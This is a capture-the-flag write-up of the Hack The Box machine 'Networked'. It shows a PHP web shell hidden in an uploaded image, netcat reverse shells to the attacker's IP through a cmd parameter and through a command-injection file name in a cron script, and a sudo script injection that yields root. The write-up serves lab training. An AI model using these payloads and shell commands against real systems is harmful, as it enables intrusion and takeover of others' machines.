Summary
Networked just retired today. It was a pretty easy machine and I had the chance to practice my command injection skills. Its IP address is 10.10.10.146
and I added it to /etc/hosts
as networked.htb
to make accessing the machine easier. Without further ado, let’s jump right in!
Scanning & Web App Enumeration
A light nmap scan is all I needed to start attacking the box:
root@fury-battlestation:~/htb/blog/networked# nmap -sV -O networked.htb -oN scan.txt Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-09 04:48 EST Nmap scan report for networked.htb (10.10.10.146) Host is up (0.12s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) 443/tcp closed https Aggressive OS guesses: Linux 3.10 - 4.11 (94%), HP P2000 G3 NAS device (91%), Linux 3.2 - 4.9 (91%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 - 4.6 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%) No exact OS matches for host (test conditions non-ideal). OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.67 seconds root@fury-battlestation:~/htb/blog/networked#
The index.html of the site was pretty basic:

There was also a hidden comment on the page:

I ran dirb
on the page and found a directory named backup
:
root@fury-battlestation:~/htb/blog/networked# dirb http://networked.htb ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Nov 9 05:02:02 2019 URL_BASE: http://networked.htb/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://networked.htb/ ---- ==> DIRECTORY: http://networked.htb/backup/ + http://networked.htb/cgi-bin/ (CODE:403|SIZE:210) + http://networked.htb/index.php (CODE:200|SIZE:229) ==> DIRECTORY: http://networked.htb/uploads/ ---- Entering directory: http://networked.htb/backup/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://networked.htb/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Nov 9 05:14:28 2019 DOWNLOADED: 4612 - FOUND: 2 root@fury-battlestation:~/htb/blog/networked#
A file named backup.tar
could be found in the directory:

I downloaded it and started looking through the source code:
root@fury-battlestation:~/htb/blog/networked# wget http://networked.htb/backup/backup.tar --2019-11-09 05:05:51-- http://networked.htb/backup/backup.tar Resolving networked.htb (networked.htb)... 10.10.10.146 Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10240 (10K) [application/x-tar] Saving to: ‘backup.tar’ backup.tar 100%[================================>] 10.00K --.-KB/s in 0s 2019-11-09 05:05:51 (20.9 MB/s) - ‘backup.tar’ saved [10240/10240] root@fury-battlestation:~/htb/blog/networked# tar xvf backup.tar index.php lib.php photos.php upload.php root@fury-battlestation:~/htb/blog/networked#
Shell as www-data
Looking through the source, I didn’t find any major vulnerability that would allow me to change the uploaded file extension. However, the resulting file would keep all the extensions it has (e.g. a.php.jpg
would be renamed [something].php.jpg
). After re-reading the source code a few times, I tried to just append PHP code at the end of an image file and hope that the server will execute it if the filename contains .php
:
root@fury-battlestation:~/htb/blog/networked# cp ~/Pictures/yakuhito.jpg . root@fury-battlestation:~/htb/blog/networked# echo '<?php echo shell_exec($_GET["cmd"]); ?>' >> ./yakuhito.jpg root@fury-battlestation:~/htb/blog/networked# cp yakuhito.jpg yakuhito.php.jpg
I then uploaded the file by going to /upload.php
:

After that, I browsed to /photos.php
, right-licked the image I just uploaded and click on ‘View Image’ so my browser would take me to the site’s uploads directory.


The server didn’t interpret the file as an image. In other words, the server found .php
in the filename and interpreted it as a PHP script. I tried to supply a simple command via the cmd
parameter and see if I had command execution:

The id
command was successfully executed. Moreover, I could see the output at the end of the page. With that in mind, I used nc
to spawn a reverse shell on port 443:
http://networked.htb/uploads/10_10_14_140.php.jpg?cmd=nc%2010.10.14.140%20443%20-e%20/bin/bash
As soon as I got the reverse shell, I spawned a tty:
root@fury-battlestation:~/htb/blog/networked# nc -nvlp 443 listening on [any] 443 ... connect to [10.10.14.140] from (UNKNOWN) [10.10.10.146] 51886 python -c 'import pty; pty.spawn("/bin/bash")' bash-4.2$ wwhhoamoamii apache bash-4.2$ llss 10_10_14_140.php.jpg 127_0_0_1.png 127_0_0_3.png index.html 10_10_14_207.php.png 127_0_0_2.png 127_0_0_4.png bash-4.2$
Shell as guly
After that, I started enumerating and searching for a way to get user. The first thing I did was to see if there is another user on the machine:
bash-4.2$ llss //hhoommee guly bash-4.2$
The user seemed to have a crontab file, so I checked its contents:
bash-4.2$ lsls /h/ohmeo/me/gugluyly check_attack.php crontab.guly user.txt bash-4.2$ ccaatt //hhoommee//gguullyy//ccrroonnttaabb..gguullyy */3 * * * * php /home/guly/check_attack.php bash-4.2$
Basically, the following script would be ran regularly:
<?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>
There’s a simple command injection vulnerability in that script. I used touch '$(nc 10.10.14.140 444 -c bash);
to create a file that would get me a reverse shell whenever the script is executed. After waiting for about three minutes, I got the shell:
root@fury-battlestation:~/htb/blog/networked# nc -nvlp 444 listening on [any] 444 ... connect to [10.10.14.140] from (UNKNOWN) [10.10.10.146] 42280 python -c "import pty; pty.spawn('/bin/bash')" [guly@networked ~]$ wc /home/guly/user.txt wc /home/guly/user.txt 1 1 33 /home/guly/user.txt [guly@networked ~]$
I will not post the contents of user.txt
here, however, I will say that the proof starts with 52
🙂
Getting root
After getting the user proof, I started enumerating the host. While doing that, I found an interesting /etc/sudoers
entry:
[guly@networked .ssh]$ sudo -l sudo -l Matching Defaults entries for guly on networked: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh [guly@networked .ssh]$
The current user can run /usr/local/sbin/changename.sh
without providing a password. The script’s source is pretty simple:
DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0
To be honest, I discovered the method to get root through fuzzing and trying different payloads.
EDIT: Found the explanation! (source: 0xRick’s blog)
[guly@networked .ssh]$ sudo /usr/local/sbin/changename.sh sudo /usr/local/sbin/changename.sh interface NAME: garbage /bin/bash garbage /bin/bash interface PROXY_METHOD: garbage /bin/bash garbage /bin/bash interface BROWSER_ONLY: garbage /bin/bash garbage /bin/bash interface BOOTPROTO: garbage /bin/bash garbage /bin/bash [root@networked network-scripts]#
Note that the input is doubled because it was sent via nc
, not because I entered it 2 times.
[root@networked network-scripts]# wc /root/root.txt wc /root/root.txt 1 1 33 /root/root.txt [root@networked network-scripts]#
The root proof starts with 0a
😉
If you liked this post and want to support me, please follow me on Twitter. 🙂
Until next time, hack the world.
yakuhito, over.